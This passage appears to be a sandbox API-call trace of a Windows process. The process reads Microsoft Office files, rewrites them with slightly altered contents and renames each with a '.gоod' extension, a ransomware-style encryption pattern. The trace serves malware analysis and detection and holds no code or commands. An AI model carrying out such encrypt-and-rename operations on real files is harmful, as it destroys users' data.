nFileSizeHigh=0x0, nFileSizeLow=0x42c)) returned 1 [0210.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0210.063] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML", lpFilePart=0x0) returned 0x41 [0210.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0210.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.063] GetFileType (hFile=0x478) returned 0x1 [0210.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0210.063] GetFileType (hFile=0x478) returned 0x1 [0210.063] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x42c [0210.063] ReadFile (in: hFile=0x478, lpBuffer=0x360f730, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x360f730*, lpNumberOfBytesRead=0x1f59dd38*=0x42c, lpOverlapped=0x0) returned 1 [0210.065] CloseHandle (hObject=0x478) returned 1 [0210.696] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML", lpFilePart=0x0) returned 0x41 [0210.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0210.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.697] GetFileType (hFile=0x834) returned 0x1 [0210.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0210.698] GetFileType (hFile=0x834) returned 0x1 [0210.698] WriteFile (in: hFile=0x834, lpBuffer=0x371b450*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x371b450*, lpNumberOfBytesWritten=0x1f59dc48*=0x430, lpOverlapped=0x0) returned 1 [0210.699] CloseHandle (hObject=0x834) returned 1 [0210.699] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML", lpFilePart=0x0) returned 0x41 [0210.699] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML.gоod", lpFilePart=0x0) returned 0x46 [0210.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0210.699] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x79cc9c7e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x430)) returned 1 [0210.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0210.699] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml.gоod")) returned 1 [0210.700] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml", lpFilePart=0x0) returned 0x55 [0210.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0210.700] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml"), fInfoLevelId=0x0, lpFileInformation=0x371c718 | out: lpFileInformation=0x371c718*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd3e)) returned 1 [0210.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0210.700] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml", lpFilePart=0x0) returned 0x55 [0210.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0210.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.700] GetFileType (hFile=0x834) returned 0x1 [0210.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0210.700] GetFileType (hFile=0x834) returned 0x1 [0210.700] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd3e [0210.712] ReadFile (in: hFile=0x834, lpBuffer=0x352d380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x352d380*, lpNumberOfBytesRead=0x1f59dd38*=0xd3e, lpOverlapped=0x0) returned 1 [0210.713] CloseHandle (hObject=0x834) returned 1 [0211.283] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml", lpFilePart=0x0) returned 0x55 [0211.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0211.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.285] GetFileType (hFile=0x858) returned 0x1 [0211.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0211.285] GetFileType (hFile=0x858) returned 0x1 [0211.285] WriteFile (in: hFile=0x858, lpBuffer=0x36c0e58*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x36c0e58*, lpNumberOfBytesWritten=0x1f59dc48*=0xd40, lpOverlapped=0x0) returned 1 [0211.286] CloseHandle (hObject=0x858) returned 1 [0211.286] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml", lpFilePart=0x0) returned 0x55 [0211.286] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml.gоod", lpFilePart=0x0) returned 0x5a [0211.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0211.286] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7a2738e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd40)) returned 1 [0211.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0211.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml.gоod")) returned 1 [0211.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml", lpFilePart=0x0) returned 0x52 [0211.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0211.291] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml"), fInfoLevelId=0x0, lpFileInformation=0x36c2148 | out: lpFileInformation=0x36c2148*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf6)) returned 1 [0211.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0211.292] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml", lpFilePart=0x0) returned 0x52 [0211.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0211.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.292] GetFileType (hFile=0x858) returned 0x1 [0211.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0211.292] GetFileType (hFile=0x858) returned 0x1 [0211.292] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xcf6 [0211.292] ReadFile (in: hFile=0x858, lpBuffer=0x36c3158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x36c3158*, lpNumberOfBytesRead=0x1f59dd38*=0xcf6, lpOverlapped=0x0) returned 1 [0211.294] CloseHandle (hObject=0x858) returned 1 [0211.867] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml", lpFilePart=0x0) returned 0x52 [0211.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0211.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0211.869] GetFileType (hFile=0x834) returned 0x1 [0211.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0211.869] GetFileType (hFile=0x834) returned 0x1 [0211.869] WriteFile (in: hFile=0x834, lpBuffer=0x3715660*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3715660*, lpNumberOfBytesWritten=0x1f59dc48*=0xd00, lpOverlapped=0x0) returned 1 [0211.870] CloseHandle (hObject=0x834) returned 1 [0211.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml", lpFilePart=0x0) returned 0x52 [0211.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml.gоod", lpFilePart=0x0) returned 0x57 [0211.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0211.870] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7a7f6e1f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd00)) returned 1 [0211.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0211.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml.gоod")) returned 1 [0211.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", lpFilePart=0x0) returned 0x40 [0211.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0211.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs"), fInfoLevelId=0x0, lpFileInformation=0x3716988 | out: lpFileInformation=0x3716988*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf016e209, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d1cc)) returned 1 [0211.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0211.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", lpFilePart=0x0) returned 0x40 [0211.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0211.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0211.872] GetFileType (hFile=0x834) returned 0x1 [0211.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0211.872] GetFileType (hFile=0x834) returned 0x1 [0211.872] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0211.872] ReadFile (in: hFile=0x834, lpBuffer=0x3716d80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3716d80*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0211.873] CloseHandle (hObject=0x834) returned 1 [0211.873] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", lpFilePart=0x0) returned 0x40 [0211.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0211.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0211.873] GetFileType (hFile=0x834) returned 0x1 [0211.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0211.874] GetFileType (hFile=0x834) returned 0x1 [0211.874] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x3d1cc [0211.874] WriteFile (in: hFile=0x834, lpBuffer=0x3718008*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3718008*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0211.875] CloseHandle (hObject=0x834) returned 1 [0211.875] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", lpFilePart=0x0) returned 0x40 [0211.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0211.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0211.875] GetFileType (hFile=0x834) returned 0x1 [0211.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0211.875] GetFileType (hFile=0x834) returned 0x1 [0211.875] ReadFile (in: hFile=0x834, lpBuffer=0x371b850, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x371b850*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0212.818] CloseHandle (hObject=0x834) returned 1 [0212.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", lpFilePart=0x0) returned 0x40 [0212.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0212.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0212.818] GetFileType (hFile=0x834) returned 0x1 [0212.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0212.818] GetFileType (hFile=0x834) returned 0x1 [0212.818] WriteFile (in: hFile=0x834, lpBuffer=0x33d6be0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x33d6be0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0212.819] CloseHandle (hObject=0x834) returned 1 [0212.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", lpFilePart=0x0) returned 0x40 [0212.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS.gоod", lpFilePart=0x0) returned 0x45 [0212.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0212.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf016e209, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x7b10dd9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d1dc)) returned 1 [0212.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0212.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs.gоod")) returned 1 [0212.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", lpFilePart=0x0) returned 0x41 [0212.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0212.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm"), fInfoLevelId=0x0, lpFileInformation=0x367eb98 | out: lpFileInformation=0x367eb98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x140b2)) returned 1 [0212.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0212.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", lpFilePart=0x0) returned 0x41 [0212.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0212.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0212.822] GetFileType (hFile=0x834) returned 0x1 [0212.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0212.822] GetFileType (hFile=0x834) returned 0x1 [0212.822] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, 